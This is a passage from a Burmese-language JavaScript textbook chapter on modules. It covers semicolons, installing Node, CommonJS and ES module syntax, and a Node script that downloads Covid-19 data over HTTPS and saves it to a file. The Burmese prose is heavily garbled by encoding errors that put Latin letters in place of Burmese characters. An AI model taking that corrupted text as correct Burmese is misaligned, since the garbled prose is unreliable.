ပြပီးကြေတာ့ Automatic Semicolon Insertion စနစ်က တစ်ချ ို ့ဆန်းgပားတဲ့ ကုဒ်ကြေတွမှာ မထည့်သင့်တဲ့ကြေနရာ
Semicolon  ထည့်ပြပီး  အလုပ်လုပ်ကြေနလုိ့  မှားကြေနတာမျ ို းကြေတွ  ရှိတတ်ပါတယ်။  goစ်ခဲကြေပမယ့် အ့ဲဒီလုိမှားတဲ့
အခါ  အမှားရှာက  အရမ်းခက်ပါတယ်။  ဒီအချက်ကြေeကာင့်လည်း  Statement  ဆံုးတိုင်း  Semicolon  နဲ့
အဆုံးသတ်ကြေပးသင့်တယ်လုိ့  ဆိုeကပါတယ်။  စာကြေရးသူကိုယ်တိုင်လည်း  အရင်က  အပြမဲထည့်သင့်တယ်လုိ့
ခံယူကြေပမယ့်၊  အခုကြေနာက်ပုိင်းမှာ တစ်ချ ို ့    Library    ကုဒ်ကြေတွ    Framework    ကုဒ်ကြေတွက မထည့်yဲ  ကြေရးeက  
ကြေတာ့ ကိုယ်ကလည်း တူညီသွားကြေအာင် မထည့်yဲ လုိက်ကြေရးရတာကြေတွ ရိှပါတယ်။

ဒီစာအုပ်မှာ  ကြေoာ်gပခဲ့တဲ့  နမူနာကြေတွမှာ  Semicolon  ထည့်ပြပီး  မကြေoာ်gပခဲ့ပါyူး။  စကြေလ့လာမယ့်သူကြေတွ
အတွက်  မျက်စိရှုပ်စရာ  တစ်ခုသက်သာလည်း  မနည်းyူးလုိ့သကြေyာထားတဲ့အတွက်  မထည့်yဲ  ကြေရးgပခဲ့
တာပါ။  မကြေတာ်တစ်ဆ  မထည့်သင့်တဲ့ကြေနရာ  ထည့်မိပြပီး  Error  ကြေတွ  goစ်ကြေနမှာ  စိုးလုိလ့ည်း  ပါပါတယ်။
ကြေနာက်ဆံုး ဥပမာကြေပးခဲ့တဲ့ ကုဒ်မှာကြေတာင် အ့ဲဒီလုိအမှားမျ ို း goစ်နိုင်ကြေgခရှိပါတယ်။

 Pseudocode 

users.map(u => u.name).filter(u => u.age > 18);

users
    .map(u => u.name);
    .filter(u => u.age > 18);
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ပထမကုဒ်ရဲ့ကြေနာက်ဆံုးမှာ  Semicolon  ပိတ်ကြေပးထားတာ မှန်ပါတယ်။ ဒုတိယကုဒ်မှာကြေတာ့ မှားသွားပါပြပီ။
Line  အဆုံးမုိလုိ့့  ကြေယာင်ပြပီး  ထည့်လုိက်မိတာမျ ို းပါ။  တစ်ကယ်ကြေတာ့  map() ကြေနာက်မှာ  Semicolon  မ
ထည့်ရပါyူး။  Statement  မပြပီးကြေသးပါyူး။  ဒီလုိအမှားမျ ို းကြေတွကြေeကာင့်  မလုိအပ်yဲ  Error  ကြေတတွက်ပြပီး
eကန့်eကာမှာစိုးလုိ့  Semicolon  မထည့်yဲ  ကြေရးgပခဲ့တာပါ။  လက်ကြေတွ့မှာ  ထည့်ကြေရးတာက အကြေလ့အကျင့်
ကြေကာင်းgoစ်ပြပီး မထည့်yဲကြေရးရင်လည်း gပဿနာကြေတာ့ မရှိပါyူးလုိ့ ဆိုချင်ပါတယ်။



PWD 2023 – အခန်း (၂၁) –  JavaScript Modules 326

အခန်း (၂၁) –  JavaScript Modules

JavaScript  မှာ  Environment  နှစ်ခုရှတိယ်လုိ့  ဆိုနိုင်ပါတယ်။  Browser  နဲ့  Node  တိုပ့ါ။  နှစ်မျ ို းလံုးက
JavaScript ကုဒ်ကြေတွကို Run ကြေပးနိုင်တဲ့ နည်းပညာကြေတွပါ။ ဒါကြေeကာင့် လက်ရှိကြေလ့လာထားတဲ့ JavaScript
ကုဒ်ကြေတွကို   Browser   မှာ   Run   လုိ့ ရသလုိ့   Node   နဲလ့ည်း   Run   လုိရ့နိုင်ပါတယ်  ။ Browser နဲ့ပက်သက်ရင်
ရုိးရုိး  JavaScript  ထက်ပုိပြပီး  ထူးgခားသွားတာက  Document  Object  Model  (DOM)  လုိ့ကြေခါ်တဲ့
သကြေyာသyာဝ goစ်ပါတယ်။ ကြေနာက်တစ်ခန်းမှာ သီးgခားကြေoာ်gပပါမယ်။ 

Node  နဲပ့က်သက်ရင်  ရုိးရုိး  JavaScript  ထက်ပုိပြပီး  ထူးgခားသွားတာကကြေတာ့  Module  နဲ့  Package
Management System goစ်ပါတယ်။ ဒီအကြေeကာင်းကြေတွကို  ကြေနာက်အပုိင်းကြေတွမှာ ဆက်လက်ကြေလ့လာနိုင်ပါ
တယ်။  ဒီကြေနရာမှာ  JavaScript  အကြေgခခံသကြေyာသyာဝအကြေနနဲ့  ထည့်သွင်းကြေလ့လာသင့်တဲ့အတွက်
ကြေရွးထုတ်ကြေoာ်gပချင်တာက Module ကြေရးထုံးအကြေeကာင်း goစ်ပါတယ်။

Node  ဆိုတဲ့နည်းပညာ စကြေပါ်ကတည်းက သူ့မှာ  Module  ကြေရးထုံးပါဝင်ပြပီး  goစ်ပါတယ်။  (၂၀၀၈)  ခုနှစ်
ဝန်းကျင်ကြေလာက်ကပါ။  အ့ဲဒီအချနိ်  ရုိးရုိး  JavaScript  မှာ  Module  ကြေရးထုံးမရှိကြေသးလုိ့  သူက  goည့်စွက်
ထည့်သွင်းကြေပးထားတာလုိ့  ဆိုနိုင်ပါတယ်။  အခုကြေတာ့  ရုိးရုိး  JavaScript  မှာလည်း  သူ့ကိုယ်ပုိင်  Module
ကြေရးထုံးရှိကြေနပါပြပီ။ Node Module ကြေရးထုံးက အရင်ကြေပါ်ပြပီး ရုိးရုိး JavaScript Module ကြေရးထုံးက ကြေနာက်မှ
ကြေပါ်တာလုိ့ ဆိုနိုင်ပါတယ်။ ကြေရးထုံးမတူeကပါyူး။ နှစ်မျ ို းလံုးကို ကြေoာ်gပကြေပးသွားမှာ goစ်ပါတယ်။
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ပထမဆံုးအကြေနနဲ့ Node ကို ဒီဝy်ဆိုက်ကကြေန Download လုပ်ပြပီး Install လုပ်ထားoုိလုိ့ပါတယ်။

- https://nodejs.org

Download  လုပ်ပုံလုပ်နည်းနဲ့  Install  လုပ်ပုံလုပ်နည်းကိုကြေတာ့ ထည့်မကြေgပာကြေတာ့ပါyူး။ ခက်ခဲရှုပ်ကြေထွးတဲ့
အဆင့်ကြေတွမရှိပါyူး။ အကြေပါ်ကပုံမှာ eကည့်လုိက်ရင် သူ့ဝy်ဆိုက်မှာ  18.14.2 LTS နဲ့  19.7.0 Current  ဆို
ပြပီး နှစ်မျ ို းကြေပးထားတာကို ကြေတွ့ရနိုင်ပါတယ်။ Current ကကြေနာက်ဆံုး Version goစ်ပြပီး LTS ကကြေတာ့ Long
Term Support Version ကြေခါ် အများသံုးသင့်တဲ့  Version goစ်ပါတယ်။ စမ်းသပ်ကြေရးသားယုံပဲ မုိလုိ့့ နှစ်မျ ို း
လုံး yာသုံးသုံး အဆင်ကြေgပပါတယ်။ လက်ကြေတွ့သုံးမှာဆိုရင်ကြေတာ့ LTS Version ကို ကြေရွးသင့်ပါတယ်။

Download  လုပ်ပြပီးရင်  Install  လုပ်လုိက်ပါ။ ကြေပးထားတဲ့  Options  ကြေတွအတိုင်း သွားယံုပါပဲ။ yာမှ gပင်
စရာ ကြေရွးစရာမလုိပါyူး။  Install  လုပ်ပြပီးကြေနာက်  Command Prompt (သုိ့) Terminal  ကို oွင့်ပြပီး အခုလုိ
စမ်းeကည့်နိုင်ပါတယ်။

node -v
v19.7.0

https://nodejs.org/


PWD 2023 – အခန်း (၂၁) –  JavaScript Modules 328

node Command အတွက် -v Option ကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် Install  လုပ်ထားတဲ့  Node Version
ကို gပန်ရမှာ goစ်ပါတယ်။ ကြေရးထားတဲ့ JavaScript ကုဒ်ကြေတွကို Run oုိအ့တွက် node Command ကြေနာက်
မှာ Run လုိတဲ့ File Name ကို ကြေပးလုိက်ရင် ရပါပြပီ။ VS Code ကို အသုံးgပုပြပီး ကုဒ်ကြေတွကြေရးသားတာဆိုရင်
VS Code  မှာပါတဲ့  Integrated Terminal  ကိုသုံးပြပီးကြေတာ့  Run  လုိရ့ပါတယ်။  Ctrl  +  `  ကိုနှိပ်လုိက်ရင်
ကြေအာက်နားမှာ Integrated Terminal ကြေပါ်လာပါလိမ့်မယ်။ အ့ဲဒီထဲမှာ Run လုိတဲ့ Command ကြေတွကို Run
ယုံပါပဲ။

နမူနာပုံကိုeကည့်လုိက်ရင် math.js ဆိုတဲ့oုိင်ထဲမှာ Function တစ်ခုနဲ့ console.log() Statement
နှစ်ခုရှိကြေနပါတယ်။ အ့ဲဒီoုိင်ကို Terminal ထဲမှာ node နဲ ့Run ထားပါတယ်။ 

node math.js

အကယ်၍ ရုိးရုိး Command Prompt (သုိ့) Terminal ကို သံုးတာဆိုရင် node Command အတွက် File
Name ကြေပးတဲ့အခါ oုိင်ရဲ့တည်ကြေနရာ Path လမ်းကြေeကာင်းကို မှန်ကြေအာင်ကြေပးoုိလုိ့တယ်ဆိုတာကို သတိgပုပါ။
Command Prompt ကို သုံးတဲ့အကြေလ့အကျင့် မရှိကြေသးyူးဆိုရင်  VS Code ရဲ့  Integrated Terminal  ထဲ
မှာပဲ စမ်းလုိက်ပါ။ အ့ဲဒါပုိပြပီးကြေတာ့ စမ်းရလွယ်ပါတယ်။
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Module    ဆိုတာ သီးgခားoုိင်တစ်ခုနဲ့  ခဲွgခားကြေရးသားထားတဲ့  ကုဒ်ကြေတွကို  ကြေခါ်ယူအသုံးgပုနည်း   လုိ့  အလွယ်
မှတ်နိုင်ပါတယ်။ ဒီoွင့်ဆိုချက်က မgပည့်စံုကြေသးကြေပမယ့် လုိရင်းက ဒါပါပဲ။ 

Node Module
ဥပမာ  စမ်းeကည့်နိုင်oုိ့  math.js ဆိုတဲ့  oုိင်တစ်ခုနဲ့  index.js ဆိုတဲ့  oုိင်တစ်ခု၊  စုစုကြေပါင်း  (၂)  ခု
တည်ကြေဆာက်လုိက်ပါ။  math.js ထဲမှာ  ကြေရးထားတဲ့  လုပ်ကြေဆာင်ချက်ကို  index.js ကကြေန  ရယူ
အသုံးgပုပြပီး စမ်းeကည့်eကပါမယ်။ ဒါကြေeကာင့် math.js ထဲမှာ အခုလုိကြေရးလုိက်ပါ။

 JavaScript 

function add(a, b) {
    return a + b
}

function div(a, b) {
    if(b === 0) return "Cannot divided by zero"
    else return a / b
}

module.exports = div

add() နဲ့  div() ဆိုတဲ့  Function နှစ်ခုရှိပါတယ်။ ကြေအာက်ဆံုးမှာကြေရးထားတဲ့  module.exports ရဲ့
အဓိပ္ပါယ်ကကြေတာ့ div() Function ကို  Module  အကြေနနဲ့ ထုတ်ကြေပးမယ်လုိ့ ကြေgပာတာပါ။ ဒါကြေeကာင့် ဒီoုိင်
ထဲမှာ ကြေရးထားတဲ့ ကုဒ်ကြေတွထဲကမှ  div() ကို တgခားလုိအပ်တဲ့oုိင်ကကြေန ချတိ်ဆက်အသံုးgပုလုိရ့သွားပါ
ပြပီ။ ဒါကိုစမ်းeကည့်နိုင်oုိအ့တွက် index.js မှာ အခုလုိကြေရးနိုင်ပါတယ်။

 JavaScript 

const div = require("./math")

console.log(div(1, 2))

require() Statement  ကိုသုံးပြပီး  Module  ကိုချတိ်ဆက်ရတာပါ။  Argument  အကြေနနဲ့  Standard
Module  ကြေတွ  Package  Module  ကြေတွဆိုရင်  Module  အမည်ကို  ကြေပးရပြပီး၊  ကိုယ့်yာသာကြေရးထားတဲ့
Module  ဆိုရင်ကြေတာ့  Module  oုိင်ရဲ့  တည်ကြေနရာနဲအ့မည်ကို  ကြေပးရပါတယ်။  နမူနာမှာ  ကိုယ့်yာသာ
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ကြေရးထားတဲ့  math.js ကို အသုံးgပုလုိတာgoစ်တဲ့အတွက် ./math လုိ့ကြေပးထားပါတယ်။ ./ ရဲ့အဓိပ္ပါယ်
က လက်ရှိoုိဒါလုိ့ ကြေgပာလုိက်တာပါ။ ဒါကြေeကာင့်  Module  oုိင်ကို လက်ရှိ  index.js ရှိကြေနတဲ့ oုိဒါထဲမှာပဲ
သွားရှာမှာပါ။ oုိင်အမည် အgပည့်အစံုက math.js goစ်ကြေပမယ့် ကြေနာက်က .js Extension ကို ကြေပးစရာမ
လုိလုိ့ ထည့်ကြေပးမထားတာပါ။

math.js ကိုချတိ်ဆက်လုိက်လုိရ့လာတဲ့ လုပ်ကြေဆာင်ချက်ကို div() ထဲမှာ ထည့်ထားပါတယ်။ Module
လုပ်ကြေဆာင်ချက်ကို ကိုယ့်yက်က gပင်စရာအကြေeကာင်းသိပ်မရှိလုိ့ Constant အကြေနနဲ့ ကြေeကညာထားပါတယ်။
အခုလုိgပည့်စံုကြေအာင်  ချတိ်ဆက်ပြပီးရင်တဲ့  ရရှိထားတဲ့  လုပ်ကြေဆာင်ချက်ကို  အသံုးgပုလုိ့  ရကြေနပြပီမုိ့လုိ့
console.log() နဲ ့div() ရဲ့ရလဒ်ကို ကြေoာ်gပထားgခင်းပဲgoစ်ပါတယ်။ 

ဒီကြေနရာမှာ သတိgပုရမှာက  math.js မှာ  လုပ်ကြေဆာင်ချက်  နှစ်ခုရှိကြေပမယ့်၊  Module  အကြေနနဲ့  ထုတ်ကြေပး
ကြေတာ့ တစ်ခုပဲ ကြေပးထားတာကို သတိgပုပါ။ ဒါကြေeကာင့် ချတိ်ဆက်ရယူသူက ကြေပးထားတဲ့ တစ်ခုကိုပဲ ယူလုိရ့
တာပါ။ အကယ်၍ နှစ်ခုသံုးခုကြေပးချင်ရင်ကြေတာ့  Object  အကြေနနဲ့  gပန်ကြေပးeကကြေလ့ရှိပါတယ်။  meth.js ကို
အခုလုိ gပင်eကည့်လုိက်ပါ။
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 JavaScript 

const PI = 3.14

function add(a, b) {
    return a + b
}

function div(a, b) {
    if(b === 0) return "Cannot divided by zero"
    else return a / b
}

module.exports = { PI, add, div }

Constant  တစ်ခုနဲ့  Function  နှစ်ခု  သံုးခုရှိရာမှာ သံုးခုလုံးကို  Module Export  အကြေနနဲ့  ကြေပးထားတာပါ။
Property Shorthand ကြေရးထုံးကို သုံးထားတာ သတိgပုပါ။ အgပည့်အစံုကြေရးရင် ဒီလုိgoစ်ပါလိမ့်မယ်။

module.exports = { PI: PI, add: add, div: div }

ဒီလုိကြေပးထားတဲ့အတွက်  ရယူအသံုးgပုတဲ့  index.js ကလည်း  ကြေပးထားသမျှ  အကုန်ယူလုိ့  ရသွားပါ
တယ်။ index.js မှာ အခုလုိစမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 

const math = require("./math")

console.log(math.PI)    // 3.14

math.js က gပန်ကြေပးထားတဲ့ Object ကို math Constant နဲလ့က်ခံထားပြပီးကြေတာ့မှ လုိချင်တဲ့ လုိကြေဆာင်
ချက်ကို math ရဲ့ Property/Method ကကြေနတစ်ဆင့် အသုံးgပုလုိက်တာပါ။ Destructuring ကြေရးထုံးကို သုံး
ပြပီး အခုလုိကြေရးလုိ့လည်း ရနိုင်ပါကြေသးတယ်။

 JavaScript 

const { PI, add } = require("./math")

console.log( add(1, 2) )    // 3
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လက်ခံရရှိမယ့်  Module  Object  ကို  Destructure  လုပ်ပြပီး  သက်ဆိုင်ရာ  Constant  Variable  အကြေနနဲ့
တစ်ခါထဲ လက်ခံထားလုိက်တာပါ။

ဒီ  ကြေရးထုံးကို  CommonJS  Module  ကြေရးထုံးလုိ့  ကြေခါ်ပါတယ်။  CommonJS  ဆိုတဲ့အမည်နဲ့  JavaScript
Library တစ်ခုရှိခဲ့oူးပြပီး အ့ဲဒီ  Library က JavaScript မှာမရှိကြေသးတဲ့  Module ကြေရးထုံးကို တီထွင်ကြေပးထား
တာပါ။ Node က CommonJS ကို နမူနာယူ အသံုးgပုထားလုိ့ Node ရဲ့ Module ကြေရးထုံးကို CommonJS
Module ကြေရးထုံးလုိ့ကြေခါ်တာပါ။ 

ES Module
JavaScript  ဟာ  ECMA  လုိ့ကြေခါ်တဲ့  အoဲွ့အစည်းက  စံချနိ်စံညွှန်းတစ်ခုအgoစ်  သတ်မှတ်ထားတဲ့
ECMAScript  ကို  အကြေgခခံ  တီထွင်ထားတာပါ။  မူအရ  ECMAScript  ဆိုတာ  စံသတ်မှတ်ချက်goစ်ပြပီး  ဒီစံ
သတ်မှတ်ချက်နဲအ့ညီ  Programming  Language  ကြေတွ  တီထွင်လုိရ့တယ်ဆိုတဲ့  သကြေyာမျ ို းပါ။
ActionScript, JScript  စသည်goင့်  ECMAScript  ကို  အကြေgခခံထားတဲ့  တgခား  Language  ကြေတွ ရှိကြေသးကြေပ
မယ့် အသုံးတွင်ကျယ်gခင်းကြေတာ့ မရှိကြေတာ့ပါyူး။

ECMAScript ကို အဆက်မgပတ် Version အဆင့်ဆင့် gမှင့်တင်ကြေနပါတယ်။ ဒါကြေeကာင့် Version နံပါတ်နဲတ့ွဲ
ပြပီး ES5, ES6, ES7 စသည်goင့် အတိုကြေကာက် ကြေခါ်eကကြေလ့ ရှိပါတယ်။ သက်ဆိုင်ရာ Version ကို ထုတ်လုပ်
တဲ့ ခုနှစ်နဲတ့ွဲပြပီးကြေတာ့ ECMAScript 2015, ECMAScript 2019 စသည်goင့်လည်း ကြေခါ်eကပါကြေသးတယ်။ အ့ဲဒီ
ထဲမှာ အကြေရးအပါဆံုးလုိ့ ဆိုနိုင်တာကကြေတာ့ ES6 (ECMAScript 2015) goစ်ပါတယ်။ let, const တိုလုိ့့
ကြေရးထုံးမျ ို းကြေတွ၊  Rest  Parameters,  Destructuring,  Arrow  Function  စတဲ့  ထူးgခားအသုံးဝင်တဲ့
လုပ်ကြေဆာင်ချက်ကြေတွဟာ  ES6  မှာ  စတင်ပြပီး  ပါဝင်လာတဲ့အတွက်ကြေeကာင့်ပါ။  သူ့ကြေနာက်ပုိင်း  ES7,  ES8
စသည်goင့်ထွက်ကြေပါ်လာခဲ့တာ  အခုဒီစာကို  ကြေရးကြေနတဲ့အချနိ်မှာ  ES11  ကို  ကြေရာက်ရှိကြေနပါပြပီ။  ကြေနာက်ပုိင်း
Version ကြေတွမှာလည်း အကြေgပာင်းအလဲနဲ့ အဆင့်gမှင့်တင်မှုကြေတွ ဆက်တိုက်ပါဝင်ကြေနကြေပမယ့် ES6 မှာပါဝင်ခဲ့
တဲ့ အကြေgပာင်းအလဲကြေတွက JavaScript Community တစ်ခုလံုးကို ကိုင်လှုပ်ကြေgပာင်းလဲသွားကြေစခဲ့လုိ့ ES6 က
အထင်ရှားဆံုးနဲ ့လူကြေgပာအများဆုံး goစ်ခဲ့ပါတယ်။

ES6 မှာပါဝင်ခဲ့တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွထဲမှာ Module လည်း အပါအဝင်goစ်ပါတယ်။ မူလက JavaScript
မှာ  Module  လုပ်ကြေဆာင်ချက်မရှိကြေပမယ့်  ES6  ထွက်ကြေပါ်လာပြပီးကြေနာက်မှာကြေတာ့  Module  လုပ်ကြေဆာင်ချက်
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Official ပါဝင်သွားခဲ့ပါပြပီ။ ဒီလုိပါဝင်သွားတဲ့ Module စနစ်ဟာ Node မှာသုံးကြေနတဲ့ Module စနစ်နဲ့ မတူတဲ့
အတွက် ကွဲgပားသွားကြေအာင် ES Module လုိ ့သုံးနှုန်းကြေgပာဆိုeကကြေလ့ ရှိပါတယ်။ 

အခုကြေတာ့  Node  ကလည်း သူ့မူလ  CommonJS Module  ကြေရးထုံးကိုသာမက  ES Module  ကြေရးထုံးကိုပါ
ပ့ံပုိးကြေပးလာပါပြပီ။  နှစ်မျ ို းကြေရးလုိရ့တယ်ဆိုတဲ့  သကြေyာပါ။  ဒါကြေပမယ့်  စမ်းသပ်အဆင့်မှာပဲ  ရှိကြေသးလုိ့  ကန့်
သတ်ချက်နဲ ့အခက်အခဲကြေလးတစ်ချ ို ့ကြေတာ့ ရှိပါတယ်။ အခက်အခဲကကြေတာ့ မူလ CommonJS Module ကြေတွ
နဲ့  ES Module  ကြေတွကို တဲွသံုးရ ခက်ခဲgခင်း goစ်ပါတယ်။ အကန့်အသတ်အကြေနနဲက့ကြေတာ့ လက်ရှိ ဒီစာကြေရး
ကြေနချနိ်ထိ  CommonJS Module က Default  goစ်ပြပီး  ES Module ကိုသုံးလုိရင်  File Extension ကို  mjs
လုိ့ကြေပးပြပီး သုံးရမှာgoစ်ပါတယ်။

ဒါကြေeကာင့် ကြေစာကြေစာက စမ်းခဲ့တဲ့ Module လုပ်ကြေဆာင်ချက်ကိုပဲ ES Module အကြေနနဲ့ gပန်လည်စမ်းသပ်နိုင်oုိ့
အတွက် math.mjs နဲ့ index.mjs ဆိုတဲ့ oုိင်နှစ်ခုတည်ကြေဆာက်လုိက်ပါ။ ပြပီးတဲ့အခါ math.mjs oုိင်
ထဲမှာ ဒီကုဒ်ကို ကြေရးပြပီး ကြေလ့လာeကည့်လုိက်ပါ။

 JavaScript 

const PI = 3.14

export default function add(a, b) {
return a + b

}

add() Function ကို ကြေeကညာစဉ်မှာ export default ကြေရးထုံးကိုသံုးပြပီး  Module လုပ်ကြေဆာင်ချက်
အကြေနနဲ့ ကြေပးထားတာ goစ်ပါတယ်။ အ့ဲဒီလုိ  Function ကြေeကညာစဉ်မှာ မကြေပးyဲ ကြေနာက်မှ  Export  လုပ်ကြေပး
လုိလ့ည်း ရပါတယ်။ ဒီလုိပါ – 

 JavaScript 

const PI = 3.14
function add(a, b) {

return a + b
}

export default add 
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ရလဒ်အတူတူပါပဲ။  Function  ကြေeကညာစဉ်မှာ  တစ်ခါထဲ  Export  မလုပ်ကြေတာ့yဲ  ကြေနာက်ဆံုးကျကြေတာ့မှ
Export လုပ်ကြေပးလုိက်တာပါ။ ဒီလုိ Export  လုပ်ကြေပးထားတဲ့ Module ကို gပန်လည်အသုံးgပု စမ်းသပ်နိုင်oုိ့
အတွက် index.mjs oုိင်မှာ အခုလုိ ကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 

import add from "./math.mjs"

console.log( add(1, 2) )    // 3

require() Statement ကို မသံုးကြေတာ့ပါyူး။ import Statement ကိုသုံးပါတယ်။ require() မှာ
လုိ ဝုိက်ကွင်းအoွင့်အပိတ် မသံုးyဲ  from Keyword ကြေနာက်ကကြေန File Name လုိက်ရပါတယ်။ ရုိးရုိး  js
Extension ရှိတဲ့oုိင်အတွက် Extension ထည့်မကြေပးရင် ရကြေပမယ့် mjs Extension oုိင်အတွက် Extension
ကိုပါ အgပည့်အစံု ထည့်ကြေပးရပါတယ်။ ဒီoုိင်ကို node နဲ့ Run eကည့်ရင် လုိချင်တဲ့ရလဒ် ရတာကို ကြေတွ့ရမှာ
goစ်ပါတယ်။

node index.mjs

ကြေပးရတဲ့ index oုိင်ရဲ့ Extension က mjs ဆိုတာကို မကြေမ့ပါနဲ။့ ကြေမ့တတ်ပါတယ်။ မှားတတ်ပါတယ်။
လုပ်ကြေဆာင်ချက်တစ်ခုထက်ပုိပြပီး Export ကြေပးချင်ရင်လည်း အခုလုိ ကြေပးနိုင်ပါတယ်။

 JavaScript 

export const PI = 3.14

export function add(a, b) {
return a + b

}

export function div(a, b) {
if(b === 0) return "Cannot divided by zero"
else return a / b

}
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ဒါမှမဟုတ် ကြေeကညာစဉ်မှာ တစ်ခါထဲ Export မလုပ်yဲ ကြေနာက်မှလုပ်လုိလ့ည်း ရပါတယ်။

const PI = 3.14

function add(a, b) {
return a + b

}

function div(a, b) {
if(b === 0) return "Cannot divided by zero"
else return a / b

}

export { PI, add, div }

ဒီလုိ လုပ်ကြေဆာင်ချက်တစ်ခုထက်ပုိပြပီး ကြေပးထားတဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို Destructuring ပုံစံကြေရးဟန်မျ ို း
နဲ ့Import gပန်လုပ်ပြပီး သုံးလုိရ့ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

import { PI, div } from "./math.mjs"

console.log( div(1, 2) )    // 0.5
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ကြေနာက်ပုိင်းမှာကြေတာ့ ကြေနရာတိုင်းမှာ ES Module ကြေရးထုံးကို အသုံးgပုeကပါလိမ့်မယ်။ လက်ရှိအချနိ်ထိကြေတာ့
Node ပကြေရာင်္ဂျက်ကြေတွမှာ CommonJS Module ကြေရးထုံးကို သူ့ကြေနရာနဲသူ့ ဆက်သံုးeကရဦးမှာပါ။

ဒီ  Module  လုပ်ကြေဆာင်ချက်ဟာ  အကြေတာ်ကြေလး  အကြေရးပါတဲ့  လုပ်ကြေဆာင်ချက်တစ်ခုပါ။  အရင်ကဆိုရင်
JavaScript  ကုဒ်oုိင်ကြေတွ  ပူးတွဲအသုံးgပုချင်ရင်  HTML Document  ထဲမှာ  <script> Element  ကြေတွနဲ့
တန်းစီချတိ်ဆက်ပြပီး သံုးခဲ့eကရပါတယ်။ JavaScript ကုဒ်ကကြေန တgခား JavaScript ကုဒ်oုိင်ကို ချတိ်ဆက်
အသုံးgပုကြေရးသားလုိ ့လံုးဝမရခဲ့တာပါ။

အခုကြေတာ့  Module  ကြေရးထုံးကြေတွရဲ့  အကူအညီနဲ့  ကိုယ်တိုင်ကြေရးသားတဲ့  ကုဒ်ကြေတွကို  စနစ်ကျကြေအာင် ခွဲgခား
ချတိ်ဆက်ကြေရးသားနိုင်သွားမှာ  goစ်သလုိ၊  အများကြေရးသား  goန့်ကြေဝထားတဲ့  Library  ကြေတွ  Module  ကြေတွ
Framework ကြေတွကို ရယူကြေပါင်းစပ် အသုံးgပုရတာ အများကြကီးပုိအဆင်ကြေgပသွားပြပီgoစ်ပါတယ်။

Practical Sample
ဒီကြေနရာမှာလည်း လက်ကြေတွ့နမူနာကြေလးတစ်ခုကြေလာက် ထည့်ကြေပးချင်ပါတယ်။ ပြပီးခဲ့တဲ့  Promise  အခန်းမှာ
Covid-19  နဲ့ပက်သက်တဲ့ အချက်အလက်ကြေတွ ရယူပံုကို ကြေoာ်gပခဲ့ပါတယ်။  Browser  ထဲမှာ အလုပ်လုပ်တဲ့
ကုဒ်နဲ့ ကြေoာ်gပခဲ့တာပါ။ Node နဲလ့ည်း အ့ဲဒီအချက်အလက်ကြေတွကို ရယူeကည့်ချင်ပါတယ်။

Node မှာ fetch() လုပ်ကြေဆာင်ချက် ပါဝင်gခင်းမရှိပါyူး။ အသုံးgပုလုိရင် Third-party Module အကြေနနဲ့
ထပ်ထည့်ကြေပးရပါတယ်။ ဒါကြေပမယ့် Node မှာ အင်တာနက်ကြေပါ်က အချက်အလက်ကြေတွကို ရယူအလုပ်လုပ်
ကြေပးနိုင်တဲ့ HTTP နဲ့ HTTPS Module တို့ ပါဝင်ပါတယ်။ ဒါကြေeကာင့် fetch() Module ကို ထပ်ထည့်မကြေန
ကြေတာ့yဲ သူ့မှာ ပါပြပီးသား  HTTPS Module  ကို  အသုံးgပုသွားပါမယ်။ ပြပီးတဲ့အခါ  Node  ရဲ့  File System
Module  ကိုသုံးပြပီး  ရလာတဲ့အချက်အလက်ကြေတွကို  oုိင်တစ်ခုအကြေနနဲ့  သိမ်းကြေပးလုိက်မှာပါ  goစ်ပါတယ်။
get-covid-info.js ဆိုတဲ့oုိင်တစ်ခုနဲ့ ဒီကုဒ်ကို ကြေရးပြပီးစမ်းeကည့်ပါ။
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 JavaScript 

const fs = require("fs")
const https = require("https")

https.get("https://api.covid19api.com/summary", res => {
    let data = ''

    res.on('data', chunk => { 
        data += chunk
    })

    res.on('end', () => {
        fs.writeFile('covid-info.json', data, () => {
            console.log("Save to file: Completed")
        })
    })
})

ပထမဆံုး https Module နဲ့ fs Module တိုက့ို Import လုပ်ကြေပးထားပါတယ်။ Standard Module ကြေတွ
မုိလုိ့့ Path လမ်းကြေeကာင်းကြေတွyာကြေတွ ကြေပးစရာမလုိyဲ Module အမည်နဲတ့င် ချတိ်လုိရ့တာကို သတိgပုပါ။
https ရဲ့  get() Method  အတွက်  Argument  နှစ်ခုကြေပးရပါတယ်။ ပထမတစ်ခုက  Data  ရယူလုိတဲ့
URL  goစ်ပြပီး  ဒုတိယ  Argument  ကကြေတာ့  Callback Function  ပါ။  Data  ရယူလုိ့  ပြပီးတဲ့အခါ  Callback
Function အလုပ်လုပ်သွားမှာပါ။

Callback Function  ထဲမှာ  res.on('data') နဲ့  Data  ကြေတွလက်ခံရရှိရင် yာလုပ်ရမလဲ သတ်မှတ်
ကြေပးရပါတယ်။  သတိgပုရမှာက၊  get() Method  က  Data  ကြေတွကို  တစ်ခါထဲ  ရှိသမျှအကုန်ယူကြေပးတာ
မဟုတ်ပါyူး။  Data ကြေတွကို အပုိင်းလုိက်၊ အပုိင်းလုိက်၊ ပုိင်းပြပီး ရယူကြေပးမှာgoစ်လုိ့ တစ်ပုိင်းရရင်တစ်ခါ  +=
နဲ့  ကြကိုကြေeကညာထားတဲ့  Variable  ထဲကို  ထပ်တိုးပြပီး  ထည့်ထည့်ကြေပးသွားရတာပါ။  ပြပီးတဲ့ခါ
res.on('end') နဲ့ Data ကြေတွယူလုိ့ ကုန်ပြပီဆိုကြေတာ့မှ ကြေနာက်ဆံုးရလဒ်ကို covid-info.json ဆို
တဲ့ oုိင်ထဲမှာ သိမ်းကြေပးလုိက်တာ goစ်ပါတယ်။

oုိင်အကြေနနဲ့ သိမ်းoုိအ့တွက် fs.writeFile() Method ကိုသုံးထားပြပီး သိမ်းလုိတဲ့ File Name နဲ့ အထဲ
မှာ ထည့်ကြေပးရမယ့် Data တိုက့ို Argument အကြေနနဲ့ကြေပးရပါတယ်။ ကြေနာက်ဆံုးကကြေန သိမ်းပြပီးတဲ့အခါ လုပ်ရ
မယ့်  Callback  Function  ကိုကြေပးရပါတယ်။ ဒီနည်းနဲ့  HTTPS  ကိုသုံးပြပီး  Data  ကြေတရွယူတယ်၊  ရလာတဲ့
